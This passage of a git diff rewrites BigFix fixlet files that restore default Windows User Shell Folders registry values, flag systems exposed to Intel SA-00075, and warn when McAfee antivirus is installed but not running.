-  4c,00,45,00,25,00,5c,00,44,00,65,00,73,00,6b,00,74,00,6f,00,70,00,00,00
-&quot;Favorites&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,46,00,61,00,76,00,6f,00,72,00,69,00,74,00,65,00,73,\
-  00,00,00
-&quot;History&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,4c,\
-  00,6f,00,63,00,61,00,6c,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,\
-  66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,48,00,69,\
-  00,73,00,74,00,6f,00,72,00,79,00,00,00
-&quot;Local AppData&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,\
-  49,00,4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,\
-  00,4c,00,6f,00,63,00,61,00,6c,00,00,00
-&quot;My Music&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,4d,00,75,00,73,00,69,00,63,00,00,00
-&quot;My Pictures&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,\
-  00,4c,00,45,00,25,00,5c,00,50,00,69,00,63,00,74,00,75,00,72,00,65,00,73,00,\
-  00,00
-&quot;My Video&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,56,00,69,00,64,00,65,00,6f,00,73,00,00,00
-&quot;NetHood&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
-  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
-  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
-  00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,20,00,53,00,68,00,6f,00,72,00,\
-  74,00,63,00,75,00,74,00,73,00,00,00
-&quot;Personal&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,44,00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,\
-  00,00,00
-&quot;PrintHood&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
-  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
-  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
-  00,50,00,72,00,69,00,6e,00,74,00,65,00,72,00,20,00,53,00,68,00,6f,00,72,00,\
-  74,00,63,00,75,00,74,00,73,00,00,00
-&quot;Programs&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
-  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
-  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
-  00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,5c,00,50,00,\
-  72,00,6f,00,67,00,72,00,61,00,6d,00,73,00,00,00
-&quot;Recent&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
-  00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,00,\
-  6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,\
-  00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\
-  52,00,65,00,63,00,65,00,6e,00,74,00,00,00
-&quot;SendTo&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
-  00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,00,\
-  6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,\
-  00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\
-  53,00,65,00,6e,00,64,00,54,00,6f,00,00,00
-&quot;Start Menu&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,\
-  00,4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,\
-  52,00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,\
-  00,73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,\
-  5c,00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,00,00
-&quot;Startup&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
-  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
-  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
-  00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,5c,00,50,00,\
-  72,00,6f,00,67,00,72,00,61,00,6d,00,73,00,5c,00,53,00,74,00,61,00,72,00,74,\
-  00,75,00,70,00,00,00
-&quot;Templates&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
-  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
-  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
-  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
-  00,54,00,65,00,6d,00,70,00,6c,00,61,00,74,00,65,00,73,00,00,00
-&quot;{{374DE290-123F-4565-9164-39C4925E467B}&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,\
-  50,00,52,00,4f,00,46,00,49,00,4c,00,45,00,25,00,5c,00,44,00,6f,00,77,00,6e,\
-  00,6c,00,6f,00,61,00,64,00,73,00,00,00
-
-
-_end_
-
-move __createfile import.reg
-
-waithidden reg import import.reg</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Incorrect User Shell Folders values may cause Installer errors - Windows
+  ID       : 21687
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-21T13:25:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Incorrect User Shell Folders values may cause Installer errors - Windows</Title>
+    <Description><![CDATA[<P>This fixlet detects and remediates the issue outlined in this Microsoft KB Article: <A href="https://support.microsoft.com/en-us/kb/886549">https://support.microsoft.com/en-us/kb/886549</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "6.0"]]></Relevance>
+    <Relevance>(value &quot;{374DE290-123F-4565-9164-39C4925E467B}&quot; of it as string != &quot;%25USERPROFILE%25\Downloads%00&quot; or value &quot;AppData&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming%00&quot; or value &quot;Desktop&quot; of it as string != &quot;%25USERPROFILE%25\Desktop%00&quot; or value &quot;Favorites&quot; of it as string != &quot;%25USERPROFILE%25\Favorites%00&quot; or value &quot;History&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Local\Microsoft\Windows\History%00&quot; or value &quot;Local AppData&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Local%00&quot; or value &quot;My Music&quot; of it as string != &quot;%25USERPROFILE%25\Music%00&quot; or value &quot;My Pictures&quot; of it as string != &quot;%25USERPROFILE%25\Pictures%00&quot; or value &quot;My Video&quot; of it as string != &quot;%25USERPROFILE%25\Videos%00&quot; or value &quot;NetHood&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Network Shortcuts%00&quot; or value &quot;Personal&quot; of it as string != &quot;%25USERPROFILE%25\Documents%00&quot; or value &quot;PrintHood&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Printer Shortcuts%00&quot; or value &quot;Programs&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu\Programs%00&quot; or value &quot;Recent&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Recent%00&quot; or value &quot;SendTo&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\SendTo%00&quot; or value &quot;Start Menu&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu%00&quot; or value &quot;Startup&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup%00&quot; or value &quot;Templates&quot; of it as string != &quot;%25USERPROFILE%25\AppData\Roaming\Microsoft\Windows\Templates%00&quot;) of key &quot;HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-21</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+delete __createfile
+delete import.reg
+
+createfile until _end_
+Windows Registry Editor Version 5.00
+
+[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders]
+&quot;AppData&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,00,00
+&quot;Desktop&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,44,00,65,00,73,00,6b,00,74,00,6f,00,70,00,00,00
+&quot;Favorites&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,46,00,61,00,76,00,6f,00,72,00,69,00,74,00,65,00,73,\
+  00,00,00
+&quot;History&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,4c,\
+  00,6f,00,63,00,61,00,6c,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,00,6f,00,\
+  66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,48,00,69,\
+  00,73,00,74,00,6f,00,72,00,79,00,00,00
+&quot;Local AppData&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,\
+  49,00,4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,\
+  00,4c,00,6f,00,63,00,61,00,6c,00,00,00
+&quot;My Music&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,4d,00,75,00,73,00,69,00,63,00,00,00
+&quot;My Pictures&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,\
+  00,4c,00,45,00,25,00,5c,00,50,00,69,00,63,00,74,00,75,00,72,00,65,00,73,00,\
+  00,00
+&quot;My Video&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,56,00,69,00,64,00,65,00,6f,00,73,00,00,00
+&quot;NetHood&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,20,00,53,00,68,00,6f,00,72,00,\
+  74,00,63,00,75,00,74,00,73,00,00,00
+&quot;Personal&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,44,00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,\
+  00,00,00
+&quot;PrintHood&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,50,00,72,00,69,00,6e,00,74,00,65,00,72,00,20,00,53,00,68,00,6f,00,72,00,\
+  74,00,63,00,75,00,74,00,73,00,00,00
+&quot;Programs&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,5c,00,50,00,\
+  72,00,6f,00,67,00,72,00,61,00,6d,00,73,00,00,00
+&quot;Recent&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
+  00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,00,\
+  6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,\
+  00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\
+  52,00,65,00,63,00,65,00,6e,00,74,00,00,00
+&quot;SendTo&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,4c,\
+  00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,00,\
+  6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,73,\
+  00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\
+  53,00,65,00,6e,00,64,00,54,00,6f,00,00,00
+&quot;Start Menu&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,\
+  00,4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,\
+  52,00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,\
+  00,73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,\
+  5c,00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,00,00
+&quot;Startup&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,53,00,74,00,61,00,72,00,74,00,20,00,4d,00,65,00,6e,00,75,00,5c,00,50,00,\
+  72,00,6f,00,67,00,72,00,61,00,6d,00,73,00,5c,00,53,00,74,00,61,00,72,00,74,\
+  00,75,00,70,00,00,00
+&quot;Templates&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,50,00,52,00,4f,00,46,00,49,00,\
+  4c,00,45,00,25,00,5c,00,41,00,70,00,70,00,44,00,61,00,74,00,61,00,5c,00,52,\
+  00,6f,00,61,00,6d,00,69,00,6e,00,67,00,5c,00,4d,00,69,00,63,00,72,00,6f,00,\
+  73,00,6f,00,66,00,74,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,\
+  00,54,00,65,00,6d,00,70,00,6c,00,61,00,74,00,65,00,73,00,00,00
+&quot;{{374DE290-123F-4565-9164-39C4925E467B}&quot;=hex(2):25,00,55,00,53,00,45,00,52,00,\
+  50,00,52,00,4f,00,46,00,49,00,4c,00,45,00,25,00,5c,00,44,00,6f,00,77,00,6e,\
+  00,6c,00,6f,00,61,00,64,00,73,00,00,00
+
+
+_end_
+
+move __createfile import.reg
+
+waithidden reg import import.reg</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes
index e982e144b..69c581c3f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows (24269).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows
-  ID       : 24269
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-09T10:05:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet is relevant than the system is exposed to exploitation of Intel SA 00075.</P>
-<P>Please use the Fixlet: <STRONG>Invoke - Intel SA 00075 Probe - Windows </STRONG>to populate results for a system. You can view more details of this in the Analysis: <STRONG>Vulnerabilities - Intel SA 00075 - Windows</STRONG></P>
-<P>More information on this vulnerability is available here: <A href="https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr">https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(if (it = 1) then (true) else (false)) of (value &quot;Exposed&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Intel\Setup and Configuration Software\INTEL-SA-00075 Discovery Tool\ME Firmware Information&quot; of x32 registry)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-05-09</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows
+  ID       : 24269
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-09T10:05:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Intel Management Engine Vulnerability SA 00075 Exposure - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet is relevant than the system is exposed to exploitation of Intel SA 00075.</P>
+<P>Please use the Fixlet: <STRONG>Invoke - Intel SA 00075 Probe - Windows </STRONG>to populate results for a system. You can view more details of this in the Analysis: <STRONG>Vulnerabilities - Intel SA 00075 - Windows</STRONG></P>
+<P>More information on this vulnerability is available here: <A href="https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr">https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(if (it = 1) then (true) else (false)) of (value &quot;Exposed&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Intel\Setup and Configuration Software\INTEL-SA-00075 Discovery Tool\ME Firmware Information&quot; of x32 registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-05-09</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes
index f2d678985..a8fb31bd1 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee Endoint Security is installed but may not be running (20225).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - McAfee Endoint Security is installed but may not be running
-  ID       : 20225
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-04-22T19:36:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - McAfee Endoint Security is installed but may not be running</Title>
-    <Description><![CDATA[<P>This fixlet is relevant if McAfee Endpoint Security is installed but not running.</P>
-<P>This likely indicates an error with the McAfee client.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists folder (pathname of program files folder & "\McAfee\Endpoint Security")]]></Relevance>
-    <Relevance>(not exists running application &quot;vshwin32.exe&quot;) AND (not exists running application &quot;mcshield.exe&quot;)</Relevance>
-    <Category>Anti-Virus</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Apr 2016 18:58:18 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - McAfee Endoint Security is installed but may not be running
+  ID       : 20225
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-04-22T19:36:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - McAfee Endoint Security is installed but may not be running</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if McAfee Endpoint Security is installed but not running.</P>
+<P>This likely indicates an error with the McAfee client.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists folder (pathname of program files folder & "\McAfee\Endpoint Security")]]></Relevance>
+    <Relevance>(not exists running application &quot;vshwin32.exe&quot;) AND (not exists running application &quot;mcshield.exe&quot;)</Relevance>
+    <Category>Anti-Virus</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Apr 2016 18:58:18 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes
index 8e46c19a6..37cc1a8ba 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - McAfee VirusScan Enterprise is installed but may not be running (20226).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - McAfee VirusScan Enterprise is installed but may not be running
-  ID       : 20226
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-04-22T19:36:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - McAfee VirusScan Enterprise is installed but may not be running</Title>
-    <Description><![CDATA[<P>This fixlet is relevant if McAfee VirusScan Enterprise is installed but not running.</P>
-<P>This likely indicates an error with the McAfee client.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists folder (pathname of program files folder & "\McAfee\VirusScan Enterprise")]]></Relevance>
-    <Relevance>(not exists running application &quot;vshwin32.exe&quot;) AND (not exists running application &quot;mcshield.exe&quot;)</Relevance>
-    <Category>Anti-Virus</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Apr 2016 18:58:08 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - McAfee VirusScan Enterprise is installed but may not be running
+  ID       : 20226
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-04-22T19:36:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - McAfee VirusScan Enterprise is installed but may not be running</Title>
+    <Description><![CDATA[<P>This fixlet is relevant if McAfee VirusScan Enterprise is installed but not running.</P>
+<P>This likely indicates an error with the McAfee client.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists folder (pathname of program files folder & "\McAfee\VirusScan Enterprise")]]></Relevance>
+    <Relevance>(not exists running application &quot;vshwin32.exe&quot;) AND (not exists running application &quot;mcshield.exe&quot;)</Relevance>
+    <Category>Anti-Virus</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Apr 2016 18:58:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
